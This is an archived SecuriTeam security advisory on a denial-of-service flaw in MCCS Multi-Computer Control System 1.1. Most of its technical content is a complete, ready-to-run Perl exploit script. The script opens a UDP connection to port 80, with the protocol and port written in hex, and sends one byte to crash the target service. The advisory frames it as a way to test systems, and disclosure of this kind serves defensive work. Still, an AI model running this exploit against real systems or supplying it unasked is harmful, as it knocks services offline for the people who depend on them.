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[EXPL] MCCS Server and Client Command DoS (Exploit): msg#00118security.securiteam
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - MCCS Server and Client Command DoS (Exploit) ------------------------------------------------------------------------ SUMMARY <http://www.xclusive-software.com/> MCCS "allows you can control up to 15 computers with single mouse / keyboard. Also, the clipboard is transfered from one computer to another when you navigate. No need for expansive KVM switch. (Keyboard, Video, Mouse switch). You can be more productive in your tasks. ". Lack of proper input validation allows attacker to cause a DoS condition within MCCS, the following exploit code can be used to test your systems for the mentioned vulnerability. DETAILS Vulnerable Systems: * MCCS Multi-Computer Control System version 1.1 Exploit: #!usr/bin/perl # # MCCS Server\Client Command DOS Exploit # -------------------------------------- # Infam0us Gr0up - Securiti Research # # Info: infamous.2hell.com # Vendor URL: www.xclusive-software.com # use IO::Socket; print("\n MCCS Command DOS Exploit\n"); print("-----------------------------\n"); $str = "\x41"; if($#ARGV < 0 | $#ARGV > 1) { die "usage: perl $0 [IP/host] \nExam: perl $0 127.0.0.1 \n" }; $adr = $ARGV[0]; $prt = "\x38\x30"; print "[+] Connect to host..\n"; sleep 2; $remote = IO::Socket::INET->new(Proto=>"\x75\x64\x70", PeerAddr=>$adr, PeerPort=>$prt, Reuse=>1) or die "[-] Error: can't connect to $adr:$prt\n"; print "[+] Connected\n"; $remote->autoflush(1); print "[+] Sending bad string..\n"; sleep 2; print $remote "$str" or die "[-] Error: can't send string code\n"; print "[*] Client Server SHUTDOWNED!\n\n"; print "press any key to exit..\n"; $bla= <STDIN>; close $remote; #EoF ADDITIONAL INFORMATION The information has been provided by <mailto:basher13@xxxxxxxxxxxxx> basher13. The original article can be found at: <http://k.domaindlx.com/shellcore/advisories.asp?bug_report=display&infamous_group=93> http://k.domaindlx.com/shellcore/advisories.asp?bug_report=display&infamous_group=93 ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. |
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